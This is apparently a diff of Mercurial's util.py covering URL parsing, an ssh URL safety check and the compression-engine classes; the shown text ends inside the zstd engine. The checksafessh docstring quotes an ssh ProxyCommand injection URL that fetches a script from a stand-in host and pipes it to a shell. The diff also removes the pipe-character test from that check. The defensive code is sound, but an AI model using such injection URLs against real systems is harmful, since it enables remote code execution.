2697 2697 if self._localpath:
2698 2698 self.path = ''
2699 2699 return
2700 2700 else:
2701 2701 if self._localpath:
2702 2702 self.path = path
2703 2703 return
2704 2704
2705 2705 if parsequery and '?' in path:
2706 2706 path, self.query = path.split('?', 1)
2707 2707 if not path:
2708 2708 path = None
2709 2709 if not self.query:
2710 2710 self.query = None
2711 2711
2712 2712 # // is required to specify a host/authority
2713 2713 if path and path.startswith('//'):
2714 2714 parts = path[2:].split('/', 1)
2715 2715 if len(parts) > 1:
2716 2716 self.host, path = parts
2717 2717 else:
2718 2718 self.host = parts[0]
2719 2719 path = None
2720 2720 if not self.host:
2721 2721 self.host = None
2722 2722 # path of file:///d is /d
2723 2723 # path of file:///d:/ is d:/, not /d:/
2724 2724 if path and not hasdriveletter(path):
2725 2725 path = '/' + path
2726 2726
2727 2727 if self.host and '@' in self.host:
2728 2728 self.user, self.host = self.host.rsplit('@', 1)
2729 2729 if ':' in self.user:
2730 2730 self.user, self.passwd = self.user.split(':', 1)
2731 2731 if not self.host:
2732 2732 self.host = None
2733 2733
2734 2734 # Don't split on colons in IPv6 addresses without ports
2735 2735 if (self.host and ':' in self.host and
2736 2736 not (self.host.startswith('[') and self.host.endswith(']'))):
2737 2737 self._hostport = self.host
2738 2738 self.host, self.port = self.host.rsplit(':', 1)
2739 2739 if not self.host:
2740 2740 self.host = None
2741 2741
2742 2742 if (self.host and self.scheme == 'file' and
2743 2743 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2744 2744 raise Abort(_('file:// URLs can only refer to localhost'))
2745 2745
2746 2746 self.path = path
2747 2747
2748 2748 # leave the query string escaped
2749 2749 for a in ('user', 'passwd', 'host', 'port',
2750 2750 'path', 'fragment'):
2751 2751 v = getattr(self, a)
2752 2752 if v is not None:
2753 2753 setattr(self, a, urlreq.unquote(v))
2754 2754
2755 2755 def __repr__(self):
2756 2756 attrs = []
2757 2757 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2758 2758 'query', 'fragment'):
2759 2759 v = getattr(self, a)
2760 2760 if v is not None:
2761 2761 attrs.append('%s: %r' % (a, v))
2762 2762 return '<url %s>' % ', '.join(attrs)
2763 2763
2764 2764 def __bytes__(self):
2765 2765 r"""Join the URL's components back into a URL string.
2766 2766
2767 2767 Examples:
2768 2768
2769 2769 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2770 2770 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2771 2771 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2772 2772 'http://user:pw@host:80/?foo=bar&baz=42'
2773 2773 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2774 2774 'http://user:pw@host:80/?foo=bar%3dbaz'
2775 2775 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2776 2776 'ssh://user:pw@[::1]:2200//home/joe#'
2777 2777 >>> str(url('http://localhost:80//'))
2778 2778 'http://localhost:80//'
2779 2779 >>> str(url('http://localhost:80/'))
2780 2780 'http://localhost:80/'
2781 2781 >>> str(url('http://localhost:80'))
2782 2782 'http://localhost:80/'
2783 2783 >>> str(url('bundle:foo'))
2784 2784 'bundle:foo'
2785 2785 >>> str(url('bundle://../foo'))
2786 2786 'bundle:../foo'
2787 2787 >>> str(url('path'))
2788 2788 'path'
2789 2789 >>> str(url('file:///tmp/foo/bar'))
2790 2790 'file:///tmp/foo/bar'
2791 2791 >>> str(url('file:///c:/tmp/foo/bar'))
2792 2792 'file:///c:/tmp/foo/bar'
2793 2793 >>> print url(r'bundle:foo\bar')
2794 2794 bundle:foo\bar
2795 2795 >>> print url(r'file:///D:\data\hg')
2796 2796 file:///D:\data\hg
2797 2797 """
2798 2798 if self._localpath:
2799 2799 s = self.path
2800 2800 if self.scheme == 'bundle':
2801 2801 s = 'bundle:' + s
2802 2802 if self.fragment:
2803 2803 s += '#' + self.fragment
2804 2804 return s
2805 2805
2806 2806 s = self.scheme + ':'
2807 2807 if self.user or self.passwd or self.host:
2808 2808 s += '//'
2809 2809 elif self.scheme and (not self.path or self.path.startswith('/')
2810 2810 or hasdriveletter(self.path)):
2811 2811 s += '//'
2812 2812 if hasdriveletter(self.path):
2813 2813 s += '/'
2814 2814 if self.user:
2815 2815 s += urlreq.quote(self.user, safe=self._safechars)
2816 2816 if self.passwd:
2817 2817 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2818 2818 if self.user or self.passwd:
2819 2819 s += '@'
2820 2820 if self.host:
2821 2821 if not (self.host.startswith('[') and self.host.endswith(']')):
2822 2822 s += urlreq.quote(self.host)
2823 2823 else:
2824 2824 s += self.host
2825 2825 if self.port:
2826 2826 s += ':' + urlreq.quote(self.port)
2827 2827 if self.host:
2828 2828 s += '/'
2829 2829 if self.path:
2830 2830 # TODO: similar to the query string, we should not unescape the
2831 2831 # path when we store it, the path might contain '%2f' = '/',
2832 2832 # which we should *not* escape.
2833 2833 s += urlreq.quote(self.path, safe=self._safepchars)
2834 2834 if self.query:
2835 2835 # we store the query in escaped form.
2836 2836 s += '?' + self.query
2837 2837 if self.fragment is not None:
2838 2838 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2839 2839 return s
2840 2840
2841 2841 __str__ = encoding.strmethod(__bytes__)
2842 2842
2843 2843 def authinfo(self):
2844 2844 user, passwd = self.user, self.passwd
2845 2845 try:
2846 2846 self.user, self.passwd = None, None
2847 2847 s = bytes(self)
2848 2848 finally:
2849 2849 self.user, self.passwd = user, passwd
2850 2850 if not self.user:
2851 2851 return (s, None)
2852 2852 # authinfo[1] is passed to urllib2 password manager, and its
2853 2853 # URIs must not contain credentials. The host is passed in the
2854 2854 # URIs list because Python < 2.4.3 uses only that to search for
2855 2855 # a password.
2856 2856 return (s, (None, (s, self.host),
2857 2857 self.user, self.passwd or ''))
2858 2858
2859 2859 def isabs(self):
2860 2860 if self.scheme and self.scheme != 'file':
2861 2861 return True # remote URL
2862 2862 if hasdriveletter(self.path):
2863 2863 return True # absolute for our purposes - can't be joined()
2864 2864 if self.path.startswith(br'\\'):
2865 2865 return True # Windows UNC path
2866 2866 if self.path.startswith('/'):
2867 2867 return True # POSIX-style
2868 2868 return False
2869 2869
2870 2870 def localpath(self):
2871 2871 if self.scheme == 'file' or self.scheme == 'bundle':
2872 2872 path = self.path or '/'
2873 2873 # For Windows, we need to promote hosts containing drive
2874 2874 # letters to paths with drive letters.
2875 2875 if hasdriveletter(self._hostport):
2876 2876 path = self._hostport + '/' + self.path
2877 2877 elif (self.host is not None and self.path
2878 2878 and not hasdriveletter(path)):
2879 2879 path = '/' + path
2880 2880 return path
2881 2881 return self._origpath
2882 2882
2883 2883 def islocal(self):
2884 2884 '''whether localpath will return something that posixfile can open'''
2885 2885 return (not self.scheme or self.scheme == 'file'
2886 2886 or self.scheme == 'bundle')
2887 2887
2888 2888 def hasscheme(path):
2889 2889 return bool(url(path).scheme)
2890 2890
2891 2891 def hasdriveletter(path):
2892 2892 return path and path[1:2] == ':' and path[0:1].isalpha()
2893 2893
2894 2894 def urllocalpath(path):
2895 2895 return url(path, parsequery=False, parsefragment=False).localpath()
2896 2896
2897 2897 def checksafessh(path):
2898 2898 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2899 2899
2900 2900 This is a sanity check for ssh urls. ssh will parse the first item as
2901 2901 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2902 2902 Let's prevent these potentially exploited urls entirely and warn the
2903 2903 user.
2904 2904
2905 2905 Raises an error.Abort when the url is unsafe.
2906 2906 """
2907 2907 path = urlreq.unquote(path)
2908 if (path.startswith('ssh://-') or path.startswith('svn+ssh://-')
2909 or '|' in path):
2908 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2910 2909 raise error.Abort(_('potentially unsafe url: %r') %
2911 2910 (path,))
2912 2911
2913 2912 def hidepassword(u):
2914 2913 '''hide user credential in a url string'''
2915 2914 u = url(u)
2916 2915 if u.passwd:
2917 2916 u.passwd = '***'
2918 2917 return bytes(u)
2919 2918
2920 2919 def removeauth(u):
2921 2920 '''remove all authentication information from a url string'''
2922 2921 u = url(u)
2923 2922 u.user = u.passwd = None
2924 2923 return str(u)
2925 2924
2926 2925 timecount = unitcountfn(
2927 2926 (1, 1e3, _('%.0f s')),
2928 2927 (100, 1, _('%.1f s')),
2929 2928 (10, 1, _('%.2f s')),
2930 2929 (1, 1, _('%.3f s')),
2931 2930 (100, 0.001, _('%.1f ms')),
2932 2931 (10, 0.001, _('%.2f ms')),
2933 2932 (1, 0.001, _('%.3f ms')),
2934 2933 (100, 0.000001, _('%.1f us')),
2935 2934 (10, 0.000001, _('%.2f us')),
2936 2935 (1, 0.000001, _('%.3f us')),
2937 2936 (100, 0.000000001, _('%.1f ns')),
2938 2937 (10, 0.000000001, _('%.2f ns')),
2939 2938 (1, 0.000000001, _('%.3f ns')),
2940 2939 )
2941 2940
2942 2941 _timenesting = [0]
2943 2942
2944 2943 def timed(func):
2945 2944 '''Report the execution time of a function call to stderr.
2946 2945
2947 2946 During development, use as a decorator when you need to measure
2948 2947 the cost of a function, e.g. as follows:
2949 2948
2950 2949 @util.timed
2951 2950 def foo(a, b, c):
2952 2951 pass
2953 2952 '''
2954 2953
2955 2954 def wrapper(*args, **kwargs):
2956 2955 start = timer()
2957 2956 indent = 2
2958 2957 _timenesting[0] += indent
2959 2958 try:
2960 2959 return func(*args, **kwargs)
2961 2960 finally:
2962 2961 elapsed = timer() - start
2963 2962 _timenesting[0] -= indent
2964 2963 stderr.write('%s%s: %s\n' %
2965 2964 (' ' * _timenesting[0], func.__name__,
2966 2965 timecount(elapsed)))
2967 2966 return wrapper
2968 2967
2969 2968 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2970 2969 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2971 2970
2972 2971 def sizetoint(s):
2973 2972 '''Convert a space specifier to a byte count.
2974 2973
2975 2974 >>> sizetoint('30')
2976 2975 30
2977 2976 >>> sizetoint('2.2kb')
2978 2977 2252
2979 2978 >>> sizetoint('6M')
2980 2979 6291456
2981 2980 '''
2982 2981 t = s.strip().lower()
2983 2982 try:
2984 2983 for k, u in _sizeunits:
2985 2984 if t.endswith(k):
2986 2985 return int(float(t[:-len(k)]) * u)
2987 2986 return int(t)
2988 2987 except ValueError:
2989 2988 raise error.ParseError(_("couldn't parse size: %s") % s)
2990 2989
2991 2990 class hooks(object):
2992 2991 '''A collection of hook functions that can be used to extend a
2993 2992 function's behavior. Hooks are called in lexicographic order,
2994 2993 based on the names of their sources.'''
2995 2994
2996 2995 def __init__(self):
2997 2996 self._hooks = []
2998 2997
2999 2998 def add(self, source, hook):
3000 2999 self._hooks.append((source, hook))
3001 3000
3002 3001 def __call__(self, *args):
3003 3002 self._hooks.sort(key=lambda x: x[0])
3004 3003 results = []
3005 3004 for source, hook in self._hooks:
3006 3005 results.append(hook(*args))
3007 3006 return results
3008 3007
3009 3008 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3010 3009 '''Yields lines for a nicely formatted stacktrace.
3011 3010 Skips the 'skip' last entries, then return the last 'depth' entries.
3012 3011 Each file+linenumber is formatted according to fileline.
3013 3012 Each line is formatted according to line.
3014 3013 If line is None, it yields:
3015 3014 length of longest filepath+line number,
3016 3015 filepath+linenumber,
3017 3016 function
3018 3017
3019 3018 Not be used in production code but very convenient while developing.
3020 3019 '''
3021 3020 entries = [(fileline % (fn, ln), func)
3022 3021 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3023 3022 ][-depth:]
3024 3023 if entries:
3025 3024 fnmax = max(len(entry[0]) for entry in entries)
3026 3025 for fnln, func in entries:
3027 3026 if line is None:
3028 3027 yield (fnmax, fnln, func)
3029 3028 else:
3030 3029 yield line % (fnmax, fnln, func)
3031 3030
3032 3031 def debugstacktrace(msg='stacktrace', skip=0,
3033 3032 f=stderr, otherf=stdout, depth=0):
3034 3033 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3035 3034 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3036 3035 By default it will flush stdout first.
3037 3036 It can be used everywhere and intentionally does not require an ui object.
3038 3037 Not be used in production code but very convenient while developing.
3039 3038 '''
3040 3039 if otherf:
3041 3040 otherf.flush()
3042 3041 f.write('%s at:\n' % msg.rstrip())
3043 3042 for line in getstackframes(skip + 1, depth=depth):
3044 3043 f.write(line)
3045 3044 f.flush()
3046 3045
3047 3046 class dirs(object):
3048 3047 '''a multiset of directory names from a dirstate or manifest'''
3049 3048
3050 3049 def __init__(self, map, skip=None):
3051 3050 self._dirs = {}
3052 3051 addpath = self.addpath
3053 3052 if safehasattr(map, 'iteritems') and skip is not None:
3054 3053 for f, s in map.iteritems():
3055 3054 if s[0] != skip:
3056 3055 addpath(f)
3057 3056 else:
3058 3057 for f in map:
3059 3058 addpath(f)
3060 3059
3061 3060 def addpath(self, path):
3062 3061 dirs = self._dirs
3063 3062 for base in finddirs(path):
3064 3063 if base in dirs:
3065 3064 dirs[base] += 1
3066 3065 return
3067 3066 dirs[base] = 1
3068 3067
3069 3068 def delpath(self, path):
3070 3069 dirs = self._dirs
3071 3070 for base in finddirs(path):
3072 3071 if dirs[base] > 1:
3073 3072 dirs[base] -= 1
3074 3073 return
3075 3074 del dirs[base]
3076 3075
3077 3076 def __iter__(self):
3078 3077 return iter(self._dirs)
3079 3078
3080 3079 def __contains__(self, d):
3081 3080 return d in self._dirs
3082 3081
3083 3082 if safehasattr(parsers, 'dirs'):
3084 3083 dirs = parsers.dirs
3085 3084
3086 3085 def finddirs(path):
3087 3086 pos = path.rfind('/')
3088 3087 while pos != -1:
3089 3088 yield path[:pos]
3090 3089 pos = path.rfind('/', 0, pos)
3091 3090
3092 3091 # compression code
3093 3092
3094 3093 SERVERROLE = 'server'
3095 3094 CLIENTROLE = 'client'
3096 3095
3097 3096 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3098 3097 (u'name', u'serverpriority',
3099 3098 u'clientpriority'))
3100 3099
3101 3100 class compressormanager(object):
3102 3101 """Holds registrations of various compression engines.
3103 3102
3104 3103 This class essentially abstracts the differences between compression
3105 3104 engines to allow new compression formats to be added easily, possibly from
3106 3105 extensions.
3107 3106
3108 3107 Compressors are registered against the global instance by calling its
3109 3108 ``register()`` method.
3110 3109 """
3111 3110 def __init__(self):
3112 3111 self._engines = {}
3113 3112 # Bundle spec human name to engine name.
3114 3113 self._bundlenames = {}
3115 3114 # Internal bundle identifier to engine name.
3116 3115 self._bundletypes = {}
3117 3116 # Revlog header to engine name.
3118 3117 self._revlogheaders = {}
3119 3118 # Wire proto identifier to engine name.
3120 3119 self._wiretypes = {}
3121 3120
3122 3121 def __getitem__(self, key):
3123 3122 return self._engines[key]
3124 3123
3125 3124 def __contains__(self, key):
3126 3125 return key in self._engines
3127 3126
3128 3127 def __iter__(self):
3129 3128 return iter(self._engines.keys())
3130 3129
3131 3130 def register(self, engine):
3132 3131 """Register a compression engine with the manager.
3133 3132
3134 3133 The argument must be a ``compressionengine`` instance.
3135 3134 """
3136 3135 if not isinstance(engine, compressionengine):
3137 3136 raise ValueError(_('argument must be a compressionengine'))
3138 3137
3139 3138 name = engine.name()
3140 3139
3141 3140 if name in self._engines:
3142 3141 raise error.Abort(_('compression engine %s already registered') %
3143 3142 name)
3144 3143
3145 3144 bundleinfo = engine.bundletype()
3146 3145 if bundleinfo:
3147 3146 bundlename, bundletype = bundleinfo
3148 3147
3149 3148 if bundlename in self._bundlenames:
3150 3149 raise error.Abort(_('bundle name %s already registered') %
3151 3150 bundlename)
3152 3151 if bundletype in self._bundletypes:
3153 3152 raise error.Abort(_('bundle type %s already registered by %s') %
3154 3153 (bundletype, self._bundletypes[bundletype]))
3155 3154
3156 3155 # No external facing name declared.
3157 3156 if bundlename:
3158 3157 self._bundlenames[bundlename] = name
3159 3158
3160 3159 self._bundletypes[bundletype] = name
3161 3160
3162 3161 wiresupport = engine.wireprotosupport()
3163 3162 if wiresupport:
3164 3163 wiretype = wiresupport.name
3165 3164 if wiretype in self._wiretypes:
3166 3165 raise error.Abort(_('wire protocol compression %s already '
3167 3166 'registered by %s') %
3168 3167 (wiretype, self._wiretypes[wiretype]))
3169 3168
3170 3169 self._wiretypes[wiretype] = name
3171 3170
3172 3171 revlogheader = engine.revlogheader()
3173 3172 if revlogheader and revlogheader in self._revlogheaders:
3174 3173 raise error.Abort(_('revlog header %s already registered by %s') %
3175 3174 (revlogheader, self._revlogheaders[revlogheader]))
3176 3175
3177 3176 if revlogheader:
3178 3177 self._revlogheaders[revlogheader] = name
3179 3178
3180 3179 self._engines[name] = engine
3181 3180
3182 3181 @property
3183 3182 def supportedbundlenames(self):
3184 3183 return set(self._bundlenames.keys())
3185 3184
3186 3185 @property
3187 3186 def supportedbundletypes(self):
3188 3187 return set(self._bundletypes.keys())
3189 3188
3190 3189 def forbundlename(self, bundlename):
3191 3190 """Obtain a compression engine registered to a bundle name.
3192 3191
3193 3192 Will raise KeyError if the bundle type isn't registered.
3194 3193
3195 3194 Will abort if the engine is known but not available.
3196 3195 """
3197 3196 engine = self._engines[self._bundlenames[bundlename]]
3198 3197 if not engine.available():
3199 3198 raise error.Abort(_('compression engine %s could not be loaded') %
3200 3199 engine.name())
3201 3200 return engine
3202 3201
3203 3202 def forbundletype(self, bundletype):
3204 3203 """Obtain a compression engine registered to a bundle type.
3205 3204
3206 3205 Will raise KeyError if the bundle type isn't registered.
3207 3206
3208 3207 Will abort if the engine is known but not available.
3209 3208 """
3210 3209 engine = self._engines[self._bundletypes[bundletype]]
3211 3210 if not engine.available():
3212 3211 raise error.Abort(_('compression engine %s could not be loaded') %
3213 3212 engine.name())
3214 3213 return engine
3215 3214
3216 3215 def supportedwireengines(self, role, onlyavailable=True):
3217 3216 """Obtain compression engines that support the wire protocol.
3218 3217
3219 3218 Returns a list of engines in prioritized order, most desired first.
3220 3219
3221 3220 If ``onlyavailable`` is set, filter out engines that can't be
3222 3221 loaded.
3223 3222 """
3224 3223 assert role in (SERVERROLE, CLIENTROLE)
3225 3224
3226 3225 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3227 3226
3228 3227 engines = [self._engines[e] for e in self._wiretypes.values()]
3229 3228 if onlyavailable:
3230 3229 engines = [e for e in engines if e.available()]
3231 3230
3232 3231 def getkey(e):
3233 3232 # Sort first by priority, highest first. In case of tie, sort
3234 3233 # alphabetically. This is arbitrary, but ensures output is
3235 3234 # stable.
3236 3235 w = e.wireprotosupport()
3237 3236 return -1 * getattr(w, attr), w.name
3238 3237
3239 3238 return list(sorted(engines, key=getkey))
3240 3239
3241 3240 def forwiretype(self, wiretype):
3242 3241 engine = self._engines[self._wiretypes[wiretype]]
3243 3242 if not engine.available():
3244 3243 raise error.Abort(_('compression engine %s could not be loaded') %
3245 3244 engine.name())
3246 3245 return engine
3247 3246
3248 3247 def forrevlogheader(self, header):
3249 3248 """Obtain a compression engine registered to a revlog header.
3250 3249
3251 3250 Will raise KeyError if the revlog header value isn't registered.
3252 3251 """
3253 3252 return self._engines[self._revlogheaders[header]]
3254 3253
3255 3254 compengines = compressormanager()
3256 3255
3257 3256 class compressionengine(object):
3258 3257 """Base class for compression engines.
3259 3258
3260 3259 Compression engines must implement the interface defined by this class.
3261 3260 """
3262 3261 def name(self):
3263 3262 """Returns the name of the compression engine.
3264 3263
3265 3264 This is the key the engine is registered under.
3266 3265
3267 3266 This method must be implemented.
3268 3267 """
3269 3268 raise NotImplementedError()
3270 3269
3271 3270 def available(self):
3272 3271 """Whether the compression engine is available.
3273 3272
3274 3273 The intent of this method is to allow optional compression engines
3275 3274 that may not be available in all installations (such as engines relying
3276 3275 on C extensions that may not be present).
3277 3276 """
3278 3277 return True
3279 3278
3280 3279 def bundletype(self):
3281 3280 """Describes bundle identifiers for this engine.
3282 3281
3283 3282 If this compression engine isn't supported for bundles, returns None.
3284 3283
3285 3284 If this engine can be used for bundles, returns a 2-tuple of strings of
3286 3285 the user-facing "bundle spec" compression name and an internal
3287 3286 identifier used to denote the compression format within bundles. To
3288 3287 exclude the name from external usage, set the first element to ``None``.
3289 3288
3290 3289 If bundle compression is supported, the class must also implement
3291 3290 ``compressstream`` and `decompressorreader``.
3292 3291
3293 3292 The docstring of this method is used in the help system to tell users
3294 3293 about this engine.
3295 3294 """
3296 3295 return None
3297 3296
3298 3297 def wireprotosupport(self):
3299 3298 """Declare support for this compression format on the wire protocol.
3300 3299
3301 3300 If this compression engine isn't supported for compressing wire
3302 3301 protocol payloads, returns None.
3303 3302
3304 3303 Otherwise, returns ``compenginewireprotosupport`` with the following
3305 3304 fields:
3306 3305
3307 3306 * String format identifier
3308 3307 * Integer priority for the server
3309 3308 * Integer priority for the client
3310 3309
3311 3310 The integer priorities are used to order the advertisement of format
3312 3311 support by server and client. The highest integer is advertised
3313 3312 first. Integers with non-positive values aren't advertised.
3314 3313
3315 3314 The priority values are somewhat arbitrary and only used for default
3316 3315 ordering. The relative order can be changed via config options.
3317 3316
3318 3317 If wire protocol compression is supported, the class must also implement
3319 3318 ``compressstream`` and ``decompressorreader``.
3320 3319 """
3321 3320 return None
3322 3321
3323 3322 def revlogheader(self):
3324 3323 """Header added to revlog chunks that identifies this engine.
3325 3324
3326 3325 If this engine can be used to compress revlogs, this method should
3327 3326 return the bytes used to identify chunks compressed with this engine.
3328 3327 Else, the method should return ``None`` to indicate it does not
3329 3328 participate in revlog compression.
3330 3329 """
3331 3330 return None
3332 3331
3333 3332 def compressstream(self, it, opts=None):
3334 3333 """Compress an iterator of chunks.
3335 3334
3336 3335 The method receives an iterator (ideally a generator) of chunks of
3337 3336 bytes to be compressed. It returns an iterator (ideally a generator)
3338 3337 of bytes of chunks representing the compressed output.
3339 3338
3340 3339 Optionally accepts an argument defining how to perform compression.
3341 3340 Each engine treats this argument differently.
3342 3341 """
3343 3342 raise NotImplementedError()
3344 3343
3345 3344 def decompressorreader(self, fh):
3346 3345 """Perform decompression on a file object.
3347 3346
3348 3347 Argument is an object with a ``read(size)`` method that returns
3349 3348 compressed data. Return value is an object with a ``read(size)`` that
3350 3349 returns uncompressed data.
3351 3350 """
3352 3351 raise NotImplementedError()
3353 3352
3354 3353 def revlogcompressor(self, opts=None):
3355 3354 """Obtain an object that can be used to compress revlog entries.
3356 3355
3357 3356 The object has a ``compress(data)`` method that compresses binary
3358 3357 data. This method returns compressed binary data or ``None`` if
3359 3358 the data could not be compressed (too small, not compressible, etc).
3360 3359 The returned data should have a header uniquely identifying this
3361 3360 compression format so decompression can be routed to this engine.
3362 3361 This header should be identified by the ``revlogheader()`` return
3363 3362 value.
3364 3363
3365 3364 The object has a ``decompress(data)`` method that decompresses
3366 3365 data. The method will only be called if ``data`` begins with
3367 3366 ``revlogheader()``. The method should return the raw, uncompressed
3368 3367 data or raise a ``RevlogError``.
3369 3368
3370 3369 The object is reusable but is not thread safe.
3371 3370 """
3372 3371 raise NotImplementedError()
3373 3372
3374 3373 class _zlibengine(compressionengine):
3375 3374 def name(self):
3376 3375 return 'zlib'
3377 3376
3378 3377 def bundletype(self):
3379 3378 """zlib compression using the DEFLATE algorithm.
3380 3379
3381 3380 All Mercurial clients should support this format. The compression
3382 3381 algorithm strikes a reasonable balance between compression ratio
3383 3382 and size.
3384 3383 """
3385 3384 return 'gzip', 'GZ'
3386 3385
3387 3386 def wireprotosupport(self):
3388 3387 return compewireprotosupport('zlib', 20, 20)
3389 3388
3390 3389 def revlogheader(self):
3391 3390 return 'x'
3392 3391
3393 3392 def compressstream(self, it, opts=None):
3394 3393 opts = opts or {}
3395 3394
3396 3395 z = zlib.compressobj(opts.get('level', -1))
3397 3396 for chunk in it:
3398 3397 data = z.compress(chunk)
3399 3398 # Not all calls to compress emit data. It is cheaper to inspect
3400 3399 # here than to feed empty chunks through generator.
3401 3400 if data:
3402 3401 yield data
3403 3402
3404 3403 yield z.flush()
3405 3404
3406 3405 def decompressorreader(self, fh):
3407 3406 def gen():
3408 3407 d = zlib.decompressobj()
3409 3408 for chunk in filechunkiter(fh):
3410 3409 while chunk:
3411 3410 # Limit output size to limit memory.
3412 3411 yield d.decompress(chunk, 2 ** 18)
3413 3412 chunk = d.unconsumed_tail
3414 3413
3415 3414 return chunkbuffer(gen())
3416 3415
3417 3416 class zlibrevlogcompressor(object):
3418 3417 def compress(self, data):
3419 3418 insize = len(data)
3420 3419 # Caller handles empty input case.
3421 3420 assert insize > 0
3422 3421
3423 3422 if insize < 44:
3424 3423 return None
3425 3424
3426 3425 elif insize <= 1000000:
3427 3426 compressed = zlib.compress(data)
3428 3427 if len(compressed) < insize:
3429 3428 return compressed
3430 3429 return None
3431 3430
3432 3431 # zlib makes an internal copy of the input buffer, doubling
3433 3432 # memory usage for large inputs. So do streaming compression
3434 3433 # on large inputs.
3435 3434 else:
3436 3435 z = zlib.compressobj()
3437 3436 parts = []
3438 3437 pos = 0
3439 3438 while pos < insize:
3440 3439 pos2 = pos + 2**20
3441 3440 parts.append(z.compress(data[pos:pos2]))
3442 3441 pos = pos2
3443 3442 parts.append(z.flush())
3444 3443
3445 3444 if sum(map(len, parts)) < insize:
3446 3445 return ''.join(parts)
3447 3446 return None
3448 3447
3449 3448 def decompress(self, data):
3450 3449 try:
3451 3450 return zlib.decompress(data)
3452 3451 except zlib.error as e:
3453 3452 raise error.RevlogError(_('revlog decompress error: %s') %
3454 3453 str(e))
3455 3454
3456 3455 def revlogcompressor(self, opts=None):
3457 3456 return self.zlibrevlogcompressor()
3458 3457
3459 3458 compengines.register(_zlibengine())
3460 3459
3461 3460 class _bz2engine(compressionengine):
3462 3461 def name(self):
3463 3462 return 'bz2'
3464 3463
3465 3464 def bundletype(self):
3466 3465 """An algorithm that produces smaller bundles than ``gzip``.
3467 3466
3468 3467 All Mercurial clients should support this format.
3469 3468
3470 3469 This engine will likely produce smaller bundles than ``gzip`` but
3471 3470 will be significantly slower, both during compression and
3472 3471 decompression.
3473 3472
3474 3473 If available, the ``zstd`` engine can yield similar or better
3475 3474 compression at much higher speeds.
3476 3475 """
3477 3476 return 'bzip2', 'BZ'
3478 3477
3479 3478 # We declare a protocol name but don't advertise by default because
3480 3479 # it is slow.
3481 3480 def wireprotosupport(self):
3482 3481 return compewireprotosupport('bzip2', 0, 0)
3483 3482
3484 3483 def compressstream(self, it, opts=None):
3485 3484 opts = opts or {}
3486 3485 z = bz2.BZ2Compressor(opts.get('level', 9))
3487 3486 for chunk in it:
3488 3487 data = z.compress(chunk)
3489 3488 if data:
3490 3489 yield data
3491 3490
3492 3491 yield z.flush()
3493 3492
3494 3493 def decompressorreader(self, fh):
3495 3494 def gen():
3496 3495 d = bz2.BZ2Decompressor()
3497 3496 for chunk in filechunkiter(fh):
3498 3497 yield d.decompress(chunk)
3499 3498
3500 3499 return chunkbuffer(gen())
3501 3500
3502 3501 compengines.register(_bz2engine())
3503 3502
3504 3503 class _truncatedbz2engine(compressionengine):
3505 3504 def name(self):
3506 3505 return 'bz2truncated'
3507 3506
3508 3507 def bundletype(self):
3509 3508 return None, '_truncatedBZ'
3510 3509
3511 3510 # We don't implement compressstream because it is hackily handled elsewhere.
3512 3511
3513 3512 def decompressorreader(self, fh):
3514 3513 def gen():
3515 3514 # The input stream doesn't have the 'BZ' header. So add it back.
3516 3515 d = bz2.BZ2Decompressor()
3517 3516 d.decompress('BZ')
3518 3517 for chunk in filechunkiter(fh):
3519 3518 yield d.decompress(chunk)
3520 3519
3521 3520 return chunkbuffer(gen())
3522 3521
3523 3522 compengines.register(_truncatedbz2engine())
3524 3523
3525 3524 class _noopengine(compressionengine):
3526 3525 def name(self):
3527 3526 return 'none'
3528 3527
3529 3528 def bundletype(self):
3530 3529 """No compression is performed.
3531 3530
3532 3531 Use this compression engine to explicitly disable compression.
3533 3532 """
3534 3533 return 'none', 'UN'
3535 3534
3536 3535 # Clients always support uncompressed payloads. Servers don't because
3537 3536 # unless you are on a fast network, uncompressed payloads can easily
3538 3537 # saturate your network pipe.
3539 3538 def wireprotosupport(self):
3540 3539 return compewireprotosupport('none', 0, 10)
3541 3540
3542 3541 # We don't implement revlogheader because it is handled specially
3543 3542 # in the revlog class.
3544 3543
3545 3544 def compressstream(self, it, opts=None):
3546 3545 return it
3547 3546
3548 3547 def decompressorreader(self, fh):
3549 3548 return fh
3550 3549
3551 3550 class nooprevlogcompressor(object):
3552 3551 def compress(self, data):
3553 3552 return None
3554 3553
3555 3554 def revlogcompressor(self, opts=None):
3556 3555 return self.nooprevlogcompressor()
3557 3556
3558 3557 compengines.register(_noopengine())
3559 3558
3560 3559 class _zstdengine(compressionengine):
3561 3560 def name(self):
3562 3561 return 'zstd'
3563 3562
3564 3563 @propertycache
3565 3564 def _module(self):
3566 3565 # Not all installs have the zstd module available. So defer importing
3567 3566 # until first access.
3568 3567 try:
3569 3568 from . import zstd
3570 3569 # Force delayed import.
3571 3570 zstd.__version__
3572 3571 return zstd
3573 3572 except ImportError:
3574 3573 return None
3575 3574
3576 3575 def available(self):
3577 3576 return bool(self._module)
3578 3577
3579 3578 def bundletype(self):
3580 3579 """A modern compression algorithm that is fast and highly flexible.
3581 3580
3582 3581 Only supported by Mercurial 4.1 and newer clients.
3583 3582
3584 3583 With the default settings, zstd compression is both faster and yields
3585 3584 better compression than ``gzip``. It also frequently yields better
3586 3585 compression than ``bzip2`` while operating at much higher speeds.
3587 3586
3588 3587 If this engine is available and backwards compatibility is not a
3589 3588 concern, it is likely the best available engine.
3590 3589 """
3591 3590 return 'zstd', 'ZS'
3592 3591
3593 3592 def wireprotosupport(self):
3594 3593 return compewireprotosupport('zstd', 50, 50)
3595 3594
3596 3595 def revlogheader(self):
